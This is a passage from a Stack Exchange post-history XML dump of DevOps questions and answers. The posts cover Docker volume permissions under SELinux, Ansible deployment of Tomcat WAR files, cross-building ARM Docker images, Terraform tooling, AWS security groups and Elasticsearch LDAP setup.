e&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39553" PostHistoryTypeId="2" PostId="12894" RevisionGUID="0e768a22-928d-4df0-a554-e14fc5b191c6" CreationDate="2020-12-01T18:56:35.883" UserId="24958" Text="VSCode has a Terraform Linter &quot;l2fprod.terraform-fork&quot;&#xD;&#xA;Have NOT tried it.  Did a simple search terra + lint.&#xD;&#xA;HTH&#xD;&#xA;DrewBai" ContentLicense="CC BY-SA 4.0" />
  <row Id="39554" PostHistoryTypeId="2" PostId="12895" RevisionGUID="60cb4441-4240-4087-82cf-86688d5ac771" CreationDate="2020-12-01T19:50:52.277" UserId="2463" Text="Terraform's job is to maintain one remote object per resource block, either by updating that same object over time or by replacing it with a new object that meets new requirements.&#xD;&#xA;&#xD;&#xA;If you wish to gradually accumulate new objects over time then Terraform is not the correct tool for the job. Your need would be better served by an application deployment tool, such as the Serverless framework." ContentLicense="CC BY-SA 4.0" />
  <row Id="39555" PostHistoryTypeId="50" PostId="1458" RevisionGUID="2252b4b5-a12a-4ba3-bdb8-893fab39e5da" CreationDate="2020-12-01T20:06:55.913" UserId="-1" />
  <row Id="39560" PostHistoryTypeId="50" PostId="12395" RevisionGUID="a90cf37e-ec0b-4c77-ae0b-551dc467af98" CreationDate="2020-12-01T23:05:25.577" UserId="-1" />
  <row Id="39561" PostHistoryTypeId="2" PostId="12897" RevisionGUID="a96b6f53-28d9-4056-b870-8f56eee9e228" CreationDate="2020-12-02T02:28:10.057" UserId="23745" Text="I'm trying to run Nginx as the docker container on SELinux enabled server with mounted configuration as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;-v /host/path/nginx.conf:/etc/nginx/nginx.conf:Z&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That works fine till I will deploy updated configuration using ansible playbook (user/group root and mode 0644) and then reload nginx in the container as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker container exec nginx-service nginx -s reload&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;that will error out with Permission Denied (13) to deployed configuration.&#xD;&#xA;&#xD;&#xA;When I will check permissions to `/host/path/nginx.conf` those are correct (user/group:root and mode 0644) but for some reason nginx is not able to read that file. &#xD;&#xA;&#xD;&#xA;When I will get inside the container and check `/etc/nginx/nginx.conf` permissions there are not carried over - they show up as question marks.&#xD;&#xA;&#xD;&#xA;Any clue how to get it to work without reloading whole container just nginx service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39562" PostHistoryTypeId="1" PostId="12897" RevisionGUID="a96b6f53-28d9-4056-b870-8f56eee9e228" CreationDate="2020-12-02T02:28:10.057" UserId="23745" Text="Docker mount volume on SELinux enabled server" ContentLicense="CC BY-SA 4.0" />
  <row Id="39563" PostHistoryTypeId="3" PostId="12897" RevisionGUID="a96b6f53-28d9-4056-b870-8f56eee9e228" CreationDate="2020-12-02T02:28:10.057" UserId="23745" Text="&lt;docker&gt;&lt;ansible&gt;&lt;permissions&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39572" PostHistoryTypeId="5" PostId="12871" RevisionGUID="96e5fae0-a376-42c4-8617-0445c34a2ab4" CreationDate="2020-12-02T11:59:15.290" UserId="21718" Comment="typo" Text="The problem was that the vpn network has the subnet 10.0.0.0/8 and the ingress network of docker swarm has the subnet 10.0.0.0/24.&#xD;&#xA;So there were a conflict.&#xD;&#xA;&#xD;&#xA;Fix:&#xD;&#xA;Changing either the vpn subnet or the ingress network subnet." ContentLicense="CC BY-SA 4.0" />
  <row Id="39573" PostHistoryTypeId="5" PostId="12897" RevisionGUID="f947cb24-218c-4d0c-a71b-aeda34d8df83" CreationDate="2020-12-02T15:15:45.340" UserId="23745" Comment="added 361 characters in body" Text="I'm trying to run Nginx as the docker container on SELinux enabled server with mounted configuration as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;-v /host/path/nginx.conf:/etc/nginx/nginx.conf:Z&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That works fine till I will deploy updated configuration using ansible playbook (user/group root and mode 0644) as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  tasks:&#xD;&#xA;    - name: remove NGINX conf&#xD;&#xA;      file:&#xD;&#xA;        path: &quot;/host/path/nginx.conf&quot;&#xD;&#xA;        state: absent&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;    - name: copy NGINX conf&#xD;&#xA;      become: true&#xD;&#xA;      copy:&#xD;&#xA;        src: &quot;../nginx-conf/nginx.conf&quot;&#xD;&#xA;        dest: &quot;/host/path/nginx.conf&quot;&#xD;&#xA;        mode: 0640&#xD;&#xA;        owner: root&#xD;&#xA;        group: root&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; and then reload nginx in the container as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker container exec nginx-service nginx -s reload&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;that will error out with Permission Denied (13) to deployed configuration.&#xD;&#xA;&#xD;&#xA;When I will check permissions to `/host/path/nginx.conf` those are correct (user/group:root and mode 0644) but for some reason nginx is not able to read that file. &#xD;&#xA;&#xD;&#xA;When I will get inside the container and check `/etc/nginx/nginx.conf` permissions there are not carried over - they show up as question marks.&#xD;&#xA;&#xD;&#xA;Any clue how to get it to work without reloading whole container just nginx service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39574" PostHistoryTypeId="5" PostId="12897" RevisionGUID="03d0e87a-aa5a-475e-bb8e-769467a5f795" CreationDate="2020-12-02T15:36:20.107" UserId="23745" Comment="added 443 characters in body" Text="I'm trying to run Nginx as the docker container on SELinux enabled server with mounted configuration as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;-v /host/path/nginx.conf:/etc/nginx/nginx.conf:Z&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That works fine till I will deploy updated configuration using ansible playbook (user/group root and mode 0644) as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  tasks:&#xD;&#xA;    - name: remove NGINX conf&#xD;&#xA;      file:&#xD;&#xA;        path: &quot;/host/path/nginx.conf&quot;&#xD;&#xA;        state: absent&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;    - name: copy NGINX conf&#xD;&#xA;      become: true&#xD;&#xA;      copy:&#xD;&#xA;        src: &quot;../nginx-conf/nginx.conf&quot;&#xD;&#xA;        dest: &quot;/host/path/nginx.conf&quot;&#xD;&#xA;        mode: 0640&#xD;&#xA;        owner: root&#xD;&#xA;        group: root&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; and then reload nginx in the container as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker container exec nginx-service nginx -s reload&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;that will error out with Permission Denied (13) to deployed configuration.&#xD;&#xA;&#xD;&#xA;When I will check permissions to `/host/path/nginx.conf` those are correct (user/group:root and mode 0644) but for some reason nginx is not able to read that file. &#xD;&#xA;&#xD;&#xA;When I will get inside the container and check `/etc/nginx/nginx.conf` permissions there are not carried over - they show up as question marks.&#xD;&#xA;&#xD;&#xA;Any clue how to get it to work without reloading whole container just nginx service?&#xD;&#xA;&#xD;&#xA;PS.&#xD;&#xA;&#xD;&#xA;stat output inside the container after deployment:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  File: /etc/nginx/nginx.conf&#xD;&#xA;  Size: 247       	Blocks: 8          IO Block: 4096   regular file&#xD;&#xA;Device: fd00h/64768d	Inode: 25461574    Links: 1&#xD;&#xA;Access: (0640/-rw-r-----)  Uid: (    0/    root)   Gid: (    0/    root)&#xD;&#xA;Access: 2020-12-02 15:30:59.453867402 +0000&#xD;&#xA;Modify: 2020-12-02 15:30:56.611769825 +0000&#xD;&#xA;Change: 2020-12-02 15:30:56.937781018 +0000&#xD;&#xA; Birth: -&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39575" PostHistoryTypeId="5" PostId="12897" RevisionGUID="e71ebec5-7690-4b73-bae1-a9296dbda9ce" CreationDate="2020-12-02T16:14:28.513" UserId="23745" Comment="added 306 characters in body" Text="I'm trying to run Nginx as the docker container on SELinux enabled server with mounted configuration as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;-v /host/path/nginx.conf:/etc/nginx/nginx.conf:Z&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That works fine till I will deploy updated configuration using ansible playbook (user/group root and mode 0644) as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  tasks:&#xD;&#xA;    - name: remove NGINX conf&#xD;&#xA;      file:&#xD;&#xA;        path: &quot;/host/path/nginx.conf&quot;&#xD;&#xA;        state: absent&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;    - name: copy NGINX conf&#xD;&#xA;      become: true&#xD;&#xA;      copy:&#xD;&#xA;        src: &quot;../nginx-conf/nginx.conf&quot;&#xD;&#xA;        dest: &quot;/host/path/nginx.conf&quot;&#xD;&#xA;        mode: 0640&#xD;&#xA;        owner: root&#xD;&#xA;        group: root&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; and then reload nginx in the container as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker container exec nginx-service nginx -s reload&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;that will error out with Permission Denied (13) to deployed configuration.&#xD;&#xA;&#xD;&#xA;When I will check permissions to `/host/path/nginx.conf` those are correct (user/group:root and mode 0644) but for some reason nginx is not able to read that file. &#xD;&#xA;&#xD;&#xA;When I will get inside the container and check `/etc/nginx/nginx.conf` permissions there are not carried over - they show up as question marks.&#xD;&#xA;&#xD;&#xA;Any clue how to get it to work without reloading whole container just nginx service?&#xD;&#xA;&#xD;&#xA;PS.&#xD;&#xA;&#xD;&#xA;stat output inside the container before deployment:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  File: /etc/nginx/nginx.conf&#xD;&#xA;  Size: 247       	Blocks: 8          IO Block: 4096   regular file&#xD;&#xA;Device: fd00h/64768d	Inode: 25461574    Links: 1&#xD;&#xA;Access: (0640/-rw-r-----)  Uid: (    0/    root)   Gid: (    0/    root)&#xD;&#xA;Access: 2020-12-02 15:30:59.453867402 +0000&#xD;&#xA;Modify: 2020-12-02 15:30:56.611769825 +0000&#xD;&#xA;Change: 2020-12-02 15:30:56.937781018 +0000&#xD;&#xA; Birth: -&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;stat output after deployment:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stat: cannot stat '/etc/nginx/nginx.conf': Permission denied&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and ls -la on that folder:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;drwxr-xr-x. 2 root  root   30 Dec  2 16:11 .&#xD;&#xA;drwxr-xr-x. 1 nginx nginx 215 Dec  2 16:00 ..&#xD;&#xA;-?????????? ? ?     ?       ?            ? nginx.conf&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39576" PostHistoryTypeId="2" PostId="12902" RevisionGUID="0d5ebc16-fe63-4c95-87e1-749bb4ae932a" CreationDate="2020-12-02T17:23:13.613" UserId="24972" Text="I execute Ansible playbook with Ansible user. The playbook execute properly, no errors in application log, no erros in ansible log. This .war usually deploy with user &quot;tomcat&quot; with the deploy is manual. &#xD;&#xA;Could this be the cause of the problem? Execute playbook with different users&#xD;&#xA;&#xD;&#xA;this is my playbook (syntaxys is correct)&#xD;&#xA;&#xD;&#xA;''''&#xD;&#xA;- name: Deploy war&#xD;&#xA;   hosts: grupo1&#xD;&#xA;   tasks:&#xD;&#xA;&#xD;&#xA;     - name: Stop Tomcat&#xD;&#xA;       command: systemctl stop tomcat&#xD;&#xA;&#xD;&#xA;     - name: Delete old war1&#xD;&#xA;       command: rm -rf /opt/tomcat/catalina_base/webapps.old/portal-admin&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: Delete old war&#xD;&#xA;       command: rm -rf /opt/tomcat/catalina_base/webapps.old/portal-client&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: Copy the old war&#xD;&#xA;       copy:&#xD;&#xA;         src: /opt/tomcat/catalina_base/webapps/portal-client&#xD;&#xA;         remote_src: true&#xD;&#xA;         dest: /opt/tomcat/catalina_base/webapps.old/&#xD;&#xA;&#xD;&#xA;     - name: Copy the old war2&#xD;&#xA;       copy:&#xD;&#xA;         src: /opt/tomcat/catalina_base/webapps/portal-admin&#xD;&#xA;         remote_src: true&#xD;&#xA;         dest: /opt/tomcat/catalina_base/webapps.old/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     - name: delte the war fileclient&#xD;&#xA;       shell: /bin/rm -rf /opt/tomcat/catalina_base/webapps/portal-client/*&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: deploy warclient&#xD;&#xA;       command: unzip /tmp/portal-client.war -d /opt/tomcat/catalina_base/webapps/portal-client/&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: delete the war fileadmin&#xD;&#xA;       shell: /bin/rm -rf /opt/tomcat/catalina_base/webapps/portal-admin/*&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: deploy waradmin&#xD;&#xA;       command: unzip /tmp/portal-admin.war -d /opt/tomcat/catalina_base/webapps/portal-admin/&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: Start tomcat&#xD;&#xA;       command: systemctl start tomcat&#xD;&#xA;&#xD;&#xA;....&#xD;&#xA;The error when execute the playbook is&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Proxy Error&#xD;&#xA;The proxy server received an invalid response from an upstream server.&#xD;&#xA;The proxy server could not handle the request GET /portal-client/cm/misalud/.&#xD;&#xA;&#xD;&#xA;Reason: Error reading from remote server&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39577" PostHistoryTypeId="1" PostId="12902" RevisionGUID="0d5ebc16-fe63-4c95-87e1-749bb4ae932a" CreationDate="2020-12-02T17:23:13.613" UserId="24972" Text="Error 502 before execute Ansible playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="39578" PostHistoryTypeId="3" PostId="12902" RevisionGUID="0d5ebc16-fe63-4c95-87e1-749bb4ae932a" CreationDate="2020-12-02T17:23:13.613" UserId="24972" Text="&lt;ansible&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39579" PostHistoryTypeId="2" PostId="12903" RevisionGUID="08fc6997-3b65-4766-82e0-5424a699646f" CreationDate="2020-12-02T18:14:42.947" UserId="23745" Text="Is there any way to relabel added new file to the docker container mounted (with :z flag) volume?&#xD;&#xA;&#xD;&#xA;It looks like when I will try add any new file to such of volume application in the container will complain about Permission Denied as new file was not labeled for SELinux." ContentLicense="CC BY-SA 4.0" />
  <row Id="39580" PostHistoryTypeId="1" PostId="12903" RevisionGUID="08fc6997-3b65-4766-82e0-5424a699646f" CreationDate="2020-12-02T18:14:42.947" UserId="23745" Text="Docker and relabeling files on SELinux enabled server" ContentLicense="CC BY-SA 4.0" />
  <row Id="39581" PostHistoryTypeId="3" PostId="12903" RevisionGUID="08fc6997-3b65-4766-82e0-5424a699646f" CreationDate="2020-12-02T18:14:42.947" UserId="23745" Text="&lt;docker&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39582" PostHistoryTypeId="5" PostId="12902" RevisionGUID="6fe52a70-8d42-4a2c-9f8f-927afd66988b" CreationDate="2020-12-02T19:53:32.007" UserId="354" Comment="fix yaml syntax" Text="I execute Ansible playbook with Ansible user. The playbook execute properly, no errors in application log, no erros in ansible log. This .war usually deploy with user &quot;tomcat&quot; with the deploy is manual. &#xD;&#xA;Could this be the cause of the problem? Execute playbook with different users&#xD;&#xA;&#xD;&#xA;this is my playbook (syntaxys is correct)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Deploy war&#xD;&#xA;   hosts: grupo1&#xD;&#xA;   tasks:&#xD;&#xA;&#xD;&#xA;     - name: Stop Tomcat&#xD;&#xA;       command: systemctl stop tomcat&#xD;&#xA;&#xD;&#xA;     - name: Delete old war1&#xD;&#xA;       command: rm -rf /opt/tomcat/catalina_base/webapps.old/portal-admin&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: Delete old war&#xD;&#xA;       command: rm -rf /opt/tomcat/catalina_base/webapps.old/portal-client&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: Copy the old war&#xD;&#xA;       copy:&#xD;&#xA;         src: /opt/tomcat/catalina_base/webapps/portal-client&#xD;&#xA;         remote_src: true&#xD;&#xA;         dest: /opt/tomcat/catalina_base/webapps.old/&#xD;&#xA;&#xD;&#xA;     - name: Copy the old war2&#xD;&#xA;       copy:&#xD;&#xA;         src: /opt/tomcat/catalina_base/webapps/portal-admin&#xD;&#xA;         remote_src: true&#xD;&#xA;         dest: /opt/tomcat/catalina_base/webapps.old/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     - name: delte the war fileclient&#xD;&#xA;       shell: /bin/rm -rf /opt/tomcat/catalina_base/webapps/portal-client/*&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: deploy warclient&#xD;&#xA;       command: unzip /tmp/portal-client.war -d /opt/tomcat/catalina_base/webapps/portal-client/&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: delete the war fileadmin&#xD;&#xA;       shell: /bin/rm -rf /opt/tomcat/catalina_base/webapps/portal-admin/*&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: deploy waradmin&#xD;&#xA;       command: unzip /tmp/portal-admin.war -d /opt/tomcat/catalina_base/webapps/portal-admin/&#xD;&#xA;       args:&#xD;&#xA;         warn: false&#xD;&#xA;&#xD;&#xA;     - name: Start tomcat&#xD;&#xA;       command: systemctl start tomcat&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The error when execute the playbook is&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Proxy Error&#xD;&#xA;The proxy server received an invalid response from an upstream server.&#xD;&#xA;The proxy server could not handle the request GET /portal-client/cm/misalud/.&#xD;&#xA;&#xD;&#xA;Reason: Error reading from remote server&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39583" PostHistoryTypeId="2" PostId="12904" RevisionGUID="91dabe22-0466-4674-aa97-533ee0c6fa12" CreationDate="2020-12-02T19:58:35.500" UserId="124" Text="[`terraform fmt`][1]&#xD;&#xA;&#xD;&#xA;&gt; The `terraform fmt` command is used to rewrite Terraform configuration files to a canonical format and style.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/commands/fmt.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="39584" PostHistoryTypeId="2" PostId="12905" RevisionGUID="0d8086e1-d188-4579-a1d2-a8cce4526b11" CreationDate="2020-12-02T21:42:29.190" UserId="24975" Text="I have built on an x86-based Windows laptop a Docker image to be run as a container on an ARM-based architecture (Raspberry Pi 4).&#xD;&#xA;&#xD;&#xA;Due to ending up with an x86 executable when this is built in the Dockerfile, as much as possible, including the library and app build, is deferred until the container actually runs on the Pi.&#xD;&#xA;&#xD;&#xA;However, this seems absurd in that the build must be done each time the container runs (which it may on many Pis). No doubt it also needlessly increases the container's size (which is less important, but still annoyingly sub-optimal)&#xD;&#xA;&#xD;&#xA;So in summary, I wonder if there is a way to run gcc in the Dockerfile and indicate that the target architecture is ARM and not the laptop on which the docker build is running.&#xD;&#xA;&#xD;&#xA;My Dockerfile currently comprises :&#xD;&#xA;&#xD;&#xA;    FROM arm32v7/ubuntu:latest&#xD;&#xA;    &#xD;&#xA;    # Defined only while image is being built&#xD;&#xA;    ARG DEBIAN_FRONTEND=noninteractive&#xD;&#xA;    &#xD;&#xA;    # Set in container&#xD;&#xA;    ENV TZ=Europe/London&#xD;&#xA;    &#xD;&#xA;    ADD ./src /app&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    # Development only :&#xD;&#xA;    #&#xD;&#xA;    #   vim&#xD;&#xA;    #&#xD;&#xA;    RUN apt-get -y update \&#xD;&#xA;     &amp;&amp; apt-get -y upgrade \&#xD;&#xA;     &amp;&amp; apt-get -t install apt-utils \&#xD;&#xA;     &amp;&amp; apt-get -y install tzdata \&#xD;&#xA;     &amp;&amp; apt-get -y install dh-autoreconf \&#xD;&#xA;     &amp;&amp; apt-get -y install libcurl4-gnutls-dev \&#xD;&#xA;     &amp;&amp; apt-get -y install libexpat1-dev \&#xD;&#xA;     &amp;&amp; apt-get -y install make \&#xD;&#xA;     &amp;&amp; apt-get -y install gettext \&#xD;&#xA;     &amp;&amp; apt-get -y install libz-dev \&#xD;&#xA;     &amp;&amp; apt-get -y install libssl-dev \&#xD;&#xA;     &amp;&amp; apt-get -y install libghc-zlib-dev \&#xD;&#xA;     &amp;&amp; apt-get -y install git \&#xD;&#xA;     &amp;&amp; apt-get -y install build-essential \&#xD;&#xA;     &amp;&amp; apt-get -y install vim \&#xD;&#xA;     &amp;&amp; git clone https://github.com/eclipse/paho.mqtt.c.git&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;/bin/bash&quot;, &quot;myapp.sh&quot;]&#xD;&#xA;&#xD;&#xA;and myapp.sh comprises :&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # Build Paho MQTT library&#xD;&#xA;    #&#xD;&#xA;    cd /app/paho.mqtt.c&#xD;&#xA;    make&#xD;&#xA;    &#xD;&#xA;    # Build the experiment app&#xD;&#xA;    #&#xD;&#xA;    cd /app&#xD;&#xA;    &#xD;&#xA;    gcc -L/experiment/paho.mqtt.c/build/output -o myapp -lpaho-mqtt3a main.c&#xD;&#xA;    &#xD;&#xA;    ./myapp&#xD;&#xA;&#xD;&#xA;I would have thought the first line &quot;FROM arm32v7/ubuntu:latest&quot; in the Dockerfile would tell gcc that the target architecture was ARM, but evidently not!&#xD;&#xA;&#xD;&#xA;P.S. I know I could manually build the app outside Docker on a Pi, and simply copy the ARM executable into the Docker image. But I would rather the the app build is included as part of the image build if possible.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39585" PostHistoryTypeId="1" PostId="12905" RevisionGUID="0d8086e1-d188-4579-a1d2-a8cce4526b11" CreationDate="2020-12-02T21:42:29.190" UserId="24975" Text="Can I build docker image containing ARM executable when running docker build on non-ARM architecture?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39586" PostHistoryTypeId="3" PostId="12905" RevisionGUID="0d8086e1-d188-4579-a1d2-a8cce4526b11" CreationDate="2020-12-02T21:42:29.190" UserId="24975" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39587" PostHistoryTypeId="2" PostId="12906" RevisionGUID="0fa08edd-0d28-48e2-add0-18e37e1e5b28" CreationDate="2020-12-03T05:30:05.090" UserId="24980" Text="Would it be possible to create a script or use something like terraform to mass remove/add security group entries across several regions under the one account based on the security group name? Specifically we are allowing remote access to a few instances based on public addresses that are changing frequently, so updating manually has become tedious. Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="39588" PostHistoryTypeId="1" PostId="12906" RevisionGUID="0fa08edd-0d28-48e2-add0-18e37e1e5b28" CreationDate="2020-12-03T05:30:05.090" UserId="24980" Text="Mass remove/add to multiple security groups cross region" ContentLicense="CC BY-SA 4.0" />
  <row Id="39589" PostHistoryTypeId="3" PostId="12906" RevisionGUID="0fa08edd-0d28-48e2-add0-18e37e1e5b28" CreationDate="2020-12-03T05:30:05.090" UserId="24980" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39594" PostHistoryTypeId="5" PostId="12877" RevisionGUID="684456b1-f8f1-4598-be30-ca29ea37f4ba" CreationDate="2020-12-03T13:33:33.340" UserId="24925" Comment="Add link to backup script" Text="I have a [script][1] which performs backup of several docker volumes during the night.&#xD;&#xA;&#xD;&#xA;It starts by stopping the containers that use these volumes, then it creates a new container with all the volumes mounted and back them up with borg. Finally it restarts the containers.&#xD;&#xA;&#xD;&#xA;Sometimes the scripts runs into weird issues, like a container can not start because its image or a network it uses is missing. Is it possible that docker daemon prunes them while my backup script is running? How can I disable it?&#xD;&#xA;&#xD;&#xA;I could not see anything in daemon logs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://framagit.org/Nautigsam/kube-selfhost/-/blob/master/ansible/roles/backup-source/templates/backup_script.j2" ContentLicense="CC BY-SA 4.0" />
  <row Id="39595" PostHistoryTypeId="2" PostId="12908" RevisionGUID="3b54106b-252d-4ac8-b8d6-e34d0aa4f3c9" CreationDate="2020-12-03T14:22:24.723" UserId="19103" Text="I am trying to test LDAP in elasticsearch/kibana by running it in Docker on Windows 10.  &#xD;&#xA;&#xD;&#xA;I pulled the image down: &#xD;&#xA;&#xD;&#xA;    docker pull docker.elastic.co/elasticsearch/elasticsearch:7.10.0&#xD;&#xA;&#xD;&#xA;And ran it: &#xD;&#xA;&#xD;&#xA;    docker run -p 9200:9200 -p 9300:9300 -e &quot;discovery.type=single-node&quot; docker.elastic.co/elasticsearch/elasticsearch:7.10.0&#xD;&#xA;&#xD;&#xA;I did the same with Kibana and everything came up as expected.  I then upgraded the elastic licence and started the 30 day trial to get the LDAP features in X-Pack.&#xD;&#xA;&#xD;&#xA;I opened a shell to the container and updated the elasticsearch.yml file with my LDAP information and set the path to the role_mapping.yml file.  I also updated role_mapping.yml file with the LDAP informaiton. I followed the instructions here: https://www.elastic.co/guide/en/elasticsearch/reference/7.10/ldap-realm.html&#xD;&#xA;&#xD;&#xA;Now when I restart the elasticsearch container I get the following error then the container halts:&#xD;&#xA;&#xD;&#xA;    uncaught exception in thread [main]    &#xD;&#xA;    java.lang.IllegalStateException: security initialization failed&#xD;&#xA;    Likely root cause: java.security.AccessControlException: access denied (&quot;java.io.FilePermission&quot; &quot;/role_mapping.yml&quot; &quot;read&quot;)&#xD;&#xA;    at java.base/java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)&#xD;&#xA;    at java.base/java.security.AccessController.checkPermission(AccessController.java:1036)&#xD;&#xA;    at java.base/java.lang.SecurityManager.checkPermission(SecurityManager.java:408)&#xD;&#xA;    at java.base/java.lang.SecurityManager.checkRead(SecurityManager.java:747)&#xD;&#xA;    at java.base/sun.nio.fs.UnixPath.checkRead(UnixPath.java:810)&#xD;&#xA;    at java.base/sun.nio.fs.UnixFileSystemProvider.exists(UnixFileSystemProvider.java:524)&#xD;&#xA;    at java.base/java.nio.file.Files.exists(Files.java:2514)&#xD;&#xA;    at org.elasticsearch.xpack.core.XPackPlugin.resolveConfigFile(XPackPlugin.java:361)&#xD;&#xA;    at org.elasticsearch.xpack.security.authc.support.DnRoleMapper.resolveFile(DnRoleMapper.java:86)&#xD;&#xA;    at org.elasticsearch.xpack.security.authc.support.RoleMappingFileBootstrapCheck.create(RoleMappingFileBootstrapCheck.java:47)&#xD;&#xA;&#xD;&#xA;I overwrote the elasticsearch.yml file by copying a version with the LDAP config commented out so I could start the container.  When I did this I checked the file permissions and both elasticsearch.yml and role_mapping.yml have the same:&#xD;&#xA;&#xD;&#xA;    -rw-rw---- 1 elasticsearch root  199 Dec  2 15:51 elasticsearch.keystore&#xD;&#xA;    -rwxr-xr-x 1 root          root  568 Dec  2 18:36 elasticsearch.yml&#xD;&#xA;    -rw-rw---- 1 elasticsearch root 2301 Nov  9 21:28 jvm.options&#xD;&#xA;    drwxrwxr-x 2 elasticsearch root 4096 Nov  9 21:32 jvm.options.d&#xD;&#xA;    -rw-rw---- 1 elasticsearch root 8451 Nov  9 21:35 log4j2.properties&#xD;&#xA;    -rwxr-xr-x 1 elasticsearch root  502 Dec  2 20:15 role_mapping.yml&#xD;&#xA;    -rw-rw---- 1 elasticsearch root  197 Dec  2 20:10 roles.yml&#xD;&#xA;    -rw-rw---- 1 elasticsearch root    0 Nov  9 21:32 users&#xD;&#xA;    -rw-rw---- 1 elasticsearch root    0 Nov  9 21:32 users_roles&#xD;&#xA;&#xD;&#xA;I even tried CHMODing the role_mapping.yml file to 777 but I still get the same result.&#xD;&#xA;&#xD;&#xA;I feel like I'm missing something obvious..." ContentLicense="CC BY-SA 4.0" />
  <row Id="39596" PostHistoryTypeId="1" PostId="12908" RevisionGUID="3b54106b-252d-4ac8-b8d6-e34d0aa4f3c9" CreationDate="2020-12-03T14:22:24.723" UserId="19103" Text="Elasticsearch on Docker - file permission issues" ContentLicense="CC BY-SA 4.0" />
  <row Id="39597" PostHistoryTypeId="3" PostId="12908" RevisionGUID="3b54106b-252d-4ac8-b8d6-e34d0aa4f3c9" CreationDate="2020-12-03T14:22:24.723" UserId="19103" Text="&lt;docker&gt;&lt;windows&gt;&lt;elasticsearch&gt;" ContentLicense="CC BY-SA 4.0" />
